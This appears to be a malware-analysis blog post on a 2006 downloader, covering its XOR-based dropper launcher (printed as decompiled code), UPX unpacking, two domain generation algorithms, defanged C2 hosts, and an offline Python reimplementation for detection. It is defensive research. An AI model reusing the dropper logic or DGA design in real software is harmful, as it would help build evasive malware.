cover image for post 'The Two Domain Generation Algorithms of Preved'

The Two Domain Generation Algorithms of Preved

Advent of DGAs - Day 3
Table of Contents
Advent of DGAs

This blog post is part of the Advent of DGAs series where I publish one post daily about a sample that looks like it uses a Domain Generation Algorithm.

I don't expect any sample to be relevant anymore and spend very little time on each sample, so don't expect the quality to be amazing.

Of course I'm also using AI to assist with the analysis and unpacking of the malware samples.

Disclaimer

These are just unpolished notes. The content likely lacks clarity and structure; and the results might not be adequately verified and/or incomplete.

Related Posts This is one of three blog posts on "Advent of DGAs". Check out the other parts here:

After yesterdays disappointing analysis that produced nothing but a new seed for a known DGA, today I’m revisiting Netlab 360’s DGA Github and look at the next open issue.

FieldValue
MD5baf268f88c0bf8501efe2cdeee712ce1
SHA1090df56c765529fbf6035154c73783ccdef8b5ff
SHA256b8db579dcd154da541eac568a448d40c3087664317dfcd853136e5e4c8a98f05
File size31609 bytes
FormatPE32 executable (GUI)
Architecturex86 (32-bit)
LanguageUnknown (native code)
RuntimeNot applicable
VirusTotalView sample on VirusTotal

It produces domains like these

  • cgyck.museum
  • cimumks.nu
  • fyyayyyoc.vg
  • gtxwwagzv.vg
  • gymsuagbjpr.mp
  • icmok.tk
  • kohydmqzd.ws
  • mfcqlfmve.museum
  • mmqcwjzykqs.tk
  • pesoeyxgwcc.cd
  • psufsoqsgkquy.museum
  • qluwbykqusk.cd
  • tvoaikyqpk.cd

The sample is a 2006-era multi-stage downloader, and the domains above come from only one of its two generators. It draws a random label of five to fourteen letters from a 32-bit pseudo-random state and appends one of nine top-level domains, among them .museum.

The second generator is the one that matters for command and control. It turns a 32-bit seed into a pronounceable name under .biz, starts from a hardcoded seed, and after 48 hours without an answer replaces the seed with the CRC32 of the current name. The hardcoded host in the sample, utbidet-ugeas[.]biz, is the output of that generator for the default seed, so the generator and the literal confirm each other. A third source, a plain list of twenty hostnames in an embedded DLL, is not referenced by any code I checked.

I call the sample Preved. The name rests on two weak but consistent clues:

  1. TotalDefense detects the file as Win32/Prevedl.A, the only specific label among otherwise generic downloader names on VirusTotal (58 of 68 engines flag it).

  2. The sample also carries the plain-text string

    PREVED! I SMOKE GANJA EVERY DAY!

    Its host list also contains preved-medved[.]com and mdvd.preved-hj[.]biz.

“Preved Medved” or rather “Превед медвед” was a Russian internet meme in 2006, which fits the compile times of the sample and its embedded files.

Unpacking

The original file is a tiny launcher with an encoded payload appended after its sections and a 100-byte trailer behind that. The launcher first creates a mutex whose name it decodes with a single-byte key, patches the start of NtOpenKey in its own process so that the call fails immediately, and re-launches itself with its own arguments. It then reads the trailer. The first trailer byte is an XOR key. The decoded trailer holds the length of the appended block and the path C:\WINDOWS\System32\rmass.exe. The launcher XORs the block with the key, writes it to that path and runs it.

The launcher is small enough to read at a glance: the NtOpenKey patch, the trailer read and the three XOR loops are all visible in the following start function:

// write access to const memory has been detected, the output may be wrong!
void __noreturn start()
{
  CHAR *p_Name; // ecx
  int *i; // edx
  char v2; // al
  LPWSTR CommandLineW; // esi
  WCHAR v4; // ax
  HANDLE FileA; // eax
  void *v6; // ebx
  SIZE_T *j; // edx
  HANDLE v8; // eax
  void *v9; // ebx
  HANDLE ProcessHeap; // eax
  char *v11; // edi
  char *v12; // edx
  bool k; // cf
  HANDLE v14; // eax
  void *v15; // ebx
  SIZE_T v16; // [esp-10h] [ebp-5ECh]
  DWORD v17; // [esp-Ch] [ebp-5E8h]
  PVOID BaseAddress; // [esp+0h] [ebp-5DCh] BYREF
  SIZE_T NumberOfBytesToProtect; // [esp+4h] [ebp-5D8h] BYREF
  ULONG OldAccessProtection; // [esp+8h] [ebp-5D4h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+Ch] [ebp-5D0h] BYREF
  struct _STARTUPINFOW StartupInfo; // [esp+1Ch] [ebp-5C0h] BYREF
  struct _STARTUPINFOA v23; // [esp+6Ch] [ebp-570h] BYREF
  CHAR Name; // [esp+BCh] [ebp-520h] BYREF
  SIZE_T dwBytes; // [esp+BDh] [ebp-51Fh] BYREF
  CHAR ApplicationName[94]; // [esp+C1h] [ebp-51Bh] BYREF
  SIZE_T v27[231]; // [esp+11Fh] [ebp-4BDh] BYREF
  CHAR Filename[288]; // [esp+4BCh] [ebp-120h] BYREF

  NumberOfBytesToProtect = 6;
  BaseAddress = NtOpenKey;
  NtProtectVirtualMemory(
    ProcessHandle: (HANDLE)0xFFFFFFFF,
    &BaseAddress,
    &NumberOfBytesToProtect,
    NewAccessProtection: 0x40u,
    &OldAccessProtection);
  NtOpenKey = (NTSTATUS (__stdcall *)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES))-1035419597;
  *((_WORD *)&NtOpenKey + 2) = 12;
  NtProtectVirtualMemory(
    ProcessHandle: (HANDLE)0xFFFFFFFF,
    &BaseAddress,
    &NumberOfBytesToProtect,
    NewAccessProtection: OldAccessProtection,
    &OldAccessProtection);
  NtFlushInstructionCache(ProcessHandle: (HANDLE)0xFFFFFFFF, BaseAddress, NumberOfBytesToFlush: NumberOfBytesToProtect);
  p_Name = &Name;
  for ( i = dword_401000; i < (int *)start; i = (int *)((char *)i + 1) )
  {
    v2 = *(_BYTE *)i;
    *p_Name++ = v2 ^ 0xDE;
  }
  *p_Name = 0;
  CreateMutexA(lpMutexAttributes: nullptr, bInitialOwner: true, lpName: &Name);
  CommandLineW = GetCommandLineW();
  if ( *CommandLineW == 34 )
  {
    do
      ++CommandLineW;
    while ( *CommandLineW != 0 && *CommandLineW != 34 );
  }
  do
  {
    v4 = *CommandLineW;
    if ( *CommandLineW == 0 )
      break;
    ++CommandLineW;
  }
  while ( v4 != 32 );
  GetStartupInfoW(lpStartupInfo: &StartupInfo);
  CreateProcessW(
    lpApplicationName: nullptr,
    lpCommandLine: CommandLineW,
    lpProcessAttributes: nullptr,
    lpThreadAttributes: nullptr,
    bInheritHandles: false,
    dwCreationFlags: 0,
    lpEnvironment: nullptr,
    lpCurrentDirectory: nullptr,
    lpStartupInfo: &StartupInfo,
    lpProcessInformation: &ProcessInformation);
  GetModuleFileNameA(hModule: nullptr, lpFilename: Filename, nSize: 0x104u);
  FileA = CreateFileA(
            lpFileName: Filename,
            dwDesiredAccess: 0x80000000,
            dwShareMode: 1u,
            lpSecurityAttributes: nullptr,
            dwCreationDisposition: 3u,
            dwFlagsAndAttributes: 0,
            hTemplateFile: nullptr);
  v6 = FileA;
  if ( FileA != nullptr && FileA != (HANDLE)-1 )
  {
    SetFilePointer(hFile: FileA, lDistanceToMove: -100, lpDistanceToMoveHigh: nullptr, dwMoveMethod: 2u);
    ReadFile(
      hFile: v6,
      lpBuffer: &Name,
      nNumberOfBytesToRead: 0x64u,
      lpNumberOfBytesRead: &NumberOfBytesToProtect,
      lpOverlapped: nullptr);
    CloseHandle(hObject: v6);
    for ( j = &dwBytes; j < v27; j = (SIZE_T *)((char *)j + 1) )
      *(_BYTE *)j ^= Name;
    GetStartupInfoA(lpStartupInfo: &v23);
    if ( !CreateProcessA(
            lpApplicationName: ApplicationName,
            lpCommandLine: nullptr,
            lpProcessAttributes: nullptr,
            lpThreadAttributes: nullptr,
            bInheritHandles: false,
            dwCreationFlags: 0,
            lpEnvironment: nullptr,
            lpCurrentDirectory: nullptr,
            lpStartupInfo: &v23,
            lpProcessInformation: &ProcessInformation) )
    {
      v8 = CreateFileA(
             lpFileName: Filename,
             dwDesiredAccess: 0x80000000,
             dwShareMode: 1u,
             lpSecurityAttributes: nullptr,
             dwCreationDisposition: 3u,
             dwFlagsAndAttributes: 0,
             hTemplateFile: nullptr);
      v9 = v8;
      if ( v8 != nullptr && v8 != (HANDLE)-1 )
      {
        SetFilePointer(hFile: v8, lDistanceToMove: -100 - dwBytes, lpDistanceToMoveHigh: nullptr, dwMoveMethod: 2u);
        v17 = dwBytes;
        v16 = dwBytes;
        ProcessHeap = GetProcessHeap();
        v11 = (char *)HeapAlloc(hHeap: ProcessHeap, dwFlags: 0, dwBytes: v16);
        ReadFile(
          hFile: v9,
          lpBuffer: v11,
          nNumberOfBytesToRead: v17,
          lpNumberOfBytesRead: &NumberOfBytesToProtect,
          lpOverlapped: nullptr);
        CloseHandle(hObject: v9);
        v12 = v11;
        for ( k = v11 < &v11[dwBytes]; k; k = v12 < &v11[dwBytes] )
          *v12++ ^= Name;
        SetFileAttributesA(lpFileName: ApplicationName, dwFileAttributes: 0x80u);
        DeleteFileA(lpFileName: ApplicationName);
        v14 = CreateFileA(
                lpFileName: ApplicationName,
                dwDesiredAccess: 0x40000000u,
                dwShareMode: 0,
                lpSecurityAttributes: nullptr,
                dwCreationDisposition: 2u,
                dwFlagsAndAttributes: 0x80u,
                hTemplateFile: nullptr);
        v15 = v14;
        if ( v14 != nullptr && v14 != (HANDLE)-1 )
        {
          WriteFile(
            hFile: v14,
            lpBuffer: v11,
            nNumberOfBytesToWrite: dwBytes,
            lpNumberOfBytesWritten: &NumberOfBytesToProtect,
            lpOverlapped: nullptr);
          CloseHandle(hObject: v15);
          CreateProcessA(
            lpApplicationName: ApplicationName,
            lpCommandLine: nullptr,
            lpProcessAttributes: nullptr,
            lpThreadAttributes: nullptr,
            bInheritHandles: false,
            dwCreationFlags: 0,
            lpEnvironment: nullptr,
            lpCurrentDirectory: nullptr,
            lpStartupInfo: &v23,
            lpProcessInformation: &ProcessInformation);
        }
      }
    }
  }
  ExitProcess(uExitCode: 0);
}

The block is a UPX-packed executable with unmodified UPX structures: three UPX sections, a standard pack header, and a compressed stream in the NRV2B format. Unpacking needs a decompressor and the reversal of UPX’s call/jump filter, which turns the relative targets of call and jump instructions into absolute ones to improve compression. The result is a flat 79,379-byte memory image, not a rebuilt PE file.

Unpacking chain, drawn to a common scale

The figure shows the three files to scale. The sample is dominated by its encoded block, which becomes the whole of the second file through the XOR. The second file is mostly the compressed stream, and the third file is the unpacked image, which is more than twice as long. Inside the unpacked image a large middle part is itself encoded: most strings and five complete PE files are stored XOR-encoded with one key and decoded in place when the program starts. The five embedded files are two small launchers resembling the sample itself, a debugger-style launcher, and two DLLs. I did not analyse them beyond their headers and imports; the domain logic lives in the main image.

Source of the Domains

The main image starts a worker thread that loops forever. Each pass first calls the random-label generator and treats its result as a gate: only if that call reports success does the pass continue with a check-in to the command server. The loop then sleeps for thirty seconds. That is at most 2,880 passes and different probe domains per day.

The generator draws a length of five plus a value modulo ten, then one letter per draw as a plus a value modulo 26, then a top-level domain from a table of nine: cd, mp, museum, nu, pw, st, tk, vg and ws. Only museum is stored encoded; the rest are plain. The name goes first to gethostbyname. If it resolves, the malware opens a TCP connection to port 80. If not, or after five earlier successes, it asks WinInet for http://<name>/. A reply of any kind counts as success and nothing is read from it. The names are therefore not C2 addresses. They are probes whose outcome decides whether the check-in runs. A direct connection should fail both branches for an unregistered name, so the gate presumably relies on something answering for any name, such as a proxy or a wildcard zone; Wikipedia lists wildcard records (as of 2018) on several of these suffixes, including .pw, .vg and .ws (source).

The DGA

The pseudo-random generator is unusual. It formats the current 32-bit state as uppercase hex into an uncleared stack buffer, reads the first eight bytes as two little-endian 32-bit words and multiplies them, keeping the low 32 bits. For states of eight hex digits the buffer is fully defined. For smaller states, which occur about once in sixteen draws, the bytes behind the terminating NUL are whatever the previous call left in the buffer, so the sequence depends on stack residue. The state is seeded once at startup from the tick count, the process ID and the thread ID shifted left by sixteen bits. It is a global that keeps running between domains, and the check-in code draws from it as well. There is no calendar input.

I validated the generator by exhaustive search. For every start state of eight hex digits I ran the code’s draws and compared the result with the supplied names. Nine of the eleven names have a matching state, for example icmok.tk from state 0x11E04A87. The chance of a false match is below half a percent for the shortest label and negligible for the longer ones. The two names without a match are aikyvcxum.nu and gtxwwagzv.vg. They may need a start state below the eight-digit range, where stale stack bytes enter the calculation, or they may come from another call site.

The second generator is the one the author built for the command channel. It takes a 32-bit seed and builds a name from bit fields: an onset, two consonants, a vowel cluster, a consonant, another vowel cluster and a final consonant, with an optional hyphenated second part when one seed bit is set. The tables of onsets, vowel clusters and consonants are small, so the output reads like utbidet-ugeas or isfusus-omoab. The name is placed under .biz and used for two URL formats, one for check-ins and one for file requests; the query part is a hex string of data XOR-ed with a random 32-bit value. The routine is a straight sequence of table lookups indexed by shifted seed bits:

int __fastcall sub_4014F6(int a1, _BYTE *a2)
{
  unsigned int v2; // eax
  unsigned int v3; // esi
  _BYTE *v4; // ebx
  char v5; // al
  _BYTE *v6; // edx
  _BYTE *v7; // ebx
  _BYTE *v8; // edx
  char v9; // al
  _BYTE *v10; // ebx
  _BYTE *v11; // edx
  _BYTE *v12; // edx
  char v13; // al
  int result; // eax
  _BYTE *v15; // edx
  _BYTE *v16; // edx
  _BYTE *v17; // ebx
  char v18; // al
  _BYTE *v19; // edx
  _BYTE *v20; // ebx
  _BYTE *v21; // edx
  char v22; // al

  v3 = v2;
  v4 = *(_BYTE **)(4 * (v2 & 7) + 0x8110E0);
  if ( *v4 != 0 )
  {
    *a2++ = *v4;
    v5 = v4[1];
    if ( v5 != 0 )
      *a2++ = v5;
  }
  *a2 = *(_BYTE *)(((v3 >> 3) & 0xF) + 0x8110C0);
  v6 = a2 + 1;
  *v6 = *(_BYTE *)(((v3 >> 7) & 0xF) + 0x8110C0);
  v7 = *(_BYTE **)(4 * ((v3 >> 11) & 7) + 0x8110A0);
  *++v6 = *v7;
  v8 = v6 + 1;
  v9 = v7[1];
  if ( v9 != 0 )
    *v8++ = v9;
  *v8 = *(_BYTE *)(((v3 >> 14) & 0xF) + 0x811074);
  v10 = *(_BYTE **)(4 * ((v3 >> 18) & 7) + 0x8110A0);
  v11 = v8 + 1;
  *v11 = *v10;
  v12 = v11 + 1;
  v13 = v10[1];
  if ( v13 != 0 )
    *v12++ = v13;
  result = *(unsigned __int8 *)(((v3 >> 21) & 0xF) + 0x811064);
  *v12 = result;
  v15 = v12 + 1;
  if ( (v3 & 0x2000000) != 0 )
  {
    *v15 = 45;
    v16 = v15 + 1;
    v17 = *(_BYTE **)(4 * ((v3 >> 26) & 7) + 0x8110E0);
    if ( *v17 != 0 )
    {
      *v16++ = *v17;
      v18 = v17[1];
      if ( v18 != 0 )
        *v16++ = v18;
    }
    *v16 = *(_BYTE *)(((((8 * ~v3) | (v3 >> 26)) >> 3) & 0xF) + 0x811074);
    v19 = v16 + 1;
    v20 = *(_BYTE **)(4 * ((((8 * ~v3) | (v3 >> 26)) >> 7) & 7) + 0x8110A0);
    *v19 = *v20;
    v21 = v19 + 1;
    v22 = v20[1];
    if ( v22 != 0 )
      *v21++ = v22;
    result = *(unsigned __int8 *)(((((8 * ~v3) | (v3 >> 26)) >> 8) & 7) + 0x811064);
    *v21 = result;
    v15 = v21 + 1;
  }
  *v15 = 0;
  return result;
}

The seed starts as a hardcoded constant, 0x33ABD8F4, and the generator maps that value to utbidet-ugeas, the host that also appears literally in the country-code and report URLs. After a failed or unrecognised server reply, the code checks the age of a stored timestamp. If it is at least 48 hours old, the timestamp is renewed and the seed becomes the CRC32 of the current name (without .biz). The new seed and timestamp are written to the registry, so the position in the chain survives reboots. A server reply of 3 restores the default seed. The chain from the default is utbidet-ugeas, unmomis, isfusus-omoab, argunoos, anpurih, oupkeadeah-emed, each under .biz.

The CRC32 table lookup

On top of the generators the sample carries fixed destinations. Once a day, gated by registry timestamps, it probes with the random-label generator, asks http://utbidet-ugeas[.]biz/d/cc for a two-letter country code and, if the answer is IT, requests a file named grazie.gif through the second generator’s file URL. A second gate downloads an executable directly from the IP address 69.50.173[.]166; a third requests tombul.gif. Finally, the embedded DLL holds twenty hostnames in plain text, ranging from affiliate-style names to toolbarqueries.google.com. No code in the main image refers to that list, and its role is unknown.

Python Reimplementation

The script implements both generators. Version 1, the default, is the random-label generator; its default start state reproduces icmok.tk: the first draw gives a length of five, the next five draws give i, c, m, o, k, and the last draw selects tk. It prints 2880 names by default, the daily maximum at the thirty-second pace; -n changes that. The short-state stack residue of version 1 is modelled by --scratch, which only matters when a start state has fewer than eight hex digits.

Version 2 is the pronounceable generator with the CRC32 chain, defaulting to the hardcoded seed. It prints one name by default, the one in use during the first 48 hours.

#!/usr/bin/env python3
"""Offline reference implementation of the two domain generators in stage-2.bin.

-v 1  Reachability-probe generator: 5-14 random letters + one of nine TLDs,
      driven by a 32-bit state (the malware seeds it from the tick count,
      process id and thread id). One domain per 30 s loop iteration, so at
      most 2880 per day. The default state reproduces icmok.tk.
-v 2  C2 generator: pronounceable name from a 32-bit seed + ".biz". The
      seed starts at 0x33ABD8F4 (utbidet-ugeas.biz) and becomes
      CRC32(previous name) after 48 hours without a C2 answer. One domain
      per 48 hours.

No network access. The malware does not use the calendar date.
"""
import argparse
import zlib

M = 0xFFFFFFFF

# ---- generator 1: random-label probe -------------------------------------
TLDS = ("cd", "mp", "museum", "nu", "pw", "st", "tk", "vg", "ws")


def prng(state, scratch):
    """state' = lo32 * hi32 of the first 8 bytes of sprintf("%X", state).

    The 16-byte stack buffer is not cleared, so for states below 0x10000000
    the bytes behind the NUL are whatever the previous call left there.
    `scratch` models those 8 bytes and persists between calls.
    """
    text = b"%X\0" % state
    n = min(len(text), 8)
    scratch[:n] = text[:n]
    lo = int.from_bytes(bytes(scratch[0:4]), "little")
    hi = int.from_bytes(bytes(scratch[4:8]), "little")
    return (lo * hi) & M


def probe_domain(state, scratch):
    state = prng(state, scratch)
    length = 5 + state % 10
    label = []
    for _ in range(length):
        state = prng(state, scratch)
        label.append(chr(ord("a") + state % 26))
    state = prng(state, scratch)
    return "".join(label) + "." + TLDS[state % 9], state


# ---- generator 2: seeded pronounceable name ------------------------------
ONSET = ("a", "e", "i", "o", "u", "ea", "ou", "")
NUCLEUS = ("ea", "oa", "e", "i", "a", "oo", "u", "o")
C1 = "xbcdfghklmnprstv"
C2 = "tnrxvmscphkgbftd"
C3 = "sdcmbxtrgkhpvtfn"


def syllable_name(seed):
    s = seed & M
    out = (ONSET[s & 7] + C1[(s >> 3) & 15] + C1[(s >> 7) & 15]
           + NUCLEUS[(s >> 11) & 7] + C2[(s >> 14) & 15]
           + NUCLEUS[(s >> 18) & 7] + C3[(s >> 21) & 15])
    if s & 0x2000000:
        top = s >> 26
        mix = (top | ((~s << 3) & M)) >> 3
        out += "-" + ONSET[top & 7] + C2[mix & 15]
        mix >>= 4
        out += NUCLEUS[mix & 7] + C3[(mix >> 1) & 7]
    return out


def c2_chain(seed, count):
    for _ in range(count):
        name = syllable_name(seed)
        yield name + ".biz"
        seed = zlib.crc32(name.encode()) & M


def main():
    p = argparse.ArgumentParser(description=__doc__,
                                formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("-v", "--version", type=int, choices=(1, 2), default=1,
                   help="1 = probe generator (default), 2 = C2 generator")
    p.add_argument("-s", "--seed", type=lambda x: int(x, 0),
                   help="start state (v1 default 0x11E04A87, v2 default 0x33ABD8F4)")
    p.add_argument("-n", "--count", type=int,
                   help="domains to print (v1 default 2880 = one day, v2 default 1)")
    p.add_argument("--scratch", type=bytes.fromhex, default=bytes(8),
                   help="v1: 8 stack bytes (16 hex digits) left over before the first "
                        "call; only matters if a state is below 0x10000000")
    a = p.parse_args()
    if a.version == 1:
        state = a.seed if a.seed is not None else 0x11E04A87
        count = a.count if a.count is not None else 2880
        scratch = bytearray(a.scratch)
        for _ in range(count):
            domain, state = probe_domain(state & M, scratch)
            print(domain)
    else:
        seed = a.seed if a.seed is not None else 0x33ABD8F4
        for domain in c2_chain(seed & M, a.count if a.count is not None else 1):
            print(domain)


if __name__ == "__main__":
    main()

Characteristics

propertyversion 1 (probe)version 2 (C2)
typeTIN-A (non-deterministic seed, arithmetic generation); my classificationTID-H (deterministic, CRC32-chained); my classification
seedingnot time-dependent; seeded from tick count, process ID and thread IDnot time-dependent; hardcoded seed, advanced by CRC32
generation schemearithmetic: multiplication of two ASCII wordspronounceable name from seed bit fields
seedruntime-random start state0x33ABD8F4, then CRC32 of the previous name
domain change frequencyevery 30 s loop passevery 48 hours without a C2 answer
unique domains (per period)up to 2,880 per day1 per 48 hours
sequencesequential; one state shared with other drawssequential chain
wait time between domains30 s sleep per pass, plus up to 40 s blocking48 hours
top level domainscd, mp, museum, nu, pw, st, tk, vg, wsbiz
second level characterslowercase letters a to z, uniformly drawnlowercase letters from fixed consonant and vowel tables, optional hyphen
regex^[a-z]{5,14}\.(cd|mp|museum|nu|pw|st|tk|vg|ws)$^[a-z]{6,10}(-[a-z]{3,6})?\.biz$
second level domain length5 to 146 to 10, plus 3 to 6 after an optional hyphen

The version 2 length bounds and regex were checked against 300,000 random seeds: the first part is 6 to 10 letters and the optional hyphenated part 3 to 6 letters.

Closing Thoughts

The sample is a reminder that “DGA” can describe two quite different mechanisms in one binary. The random-label generator is the noisy one and the one a DNS sensor sees, yet it carries no destination. The quiet one, a seed-to-name function with a CRC32 chain and a 48-hour clock, is the actual rendezvous mechanism, and it hides behind a hardcoded host that is simply its first output. The age of the sample matters too: pseudo-random state formatted into an uncleared buffer and a chain advanced only on silence, with no calendar input anywhere, make this design easy to replay offline but impossible to predict for the probe names.

References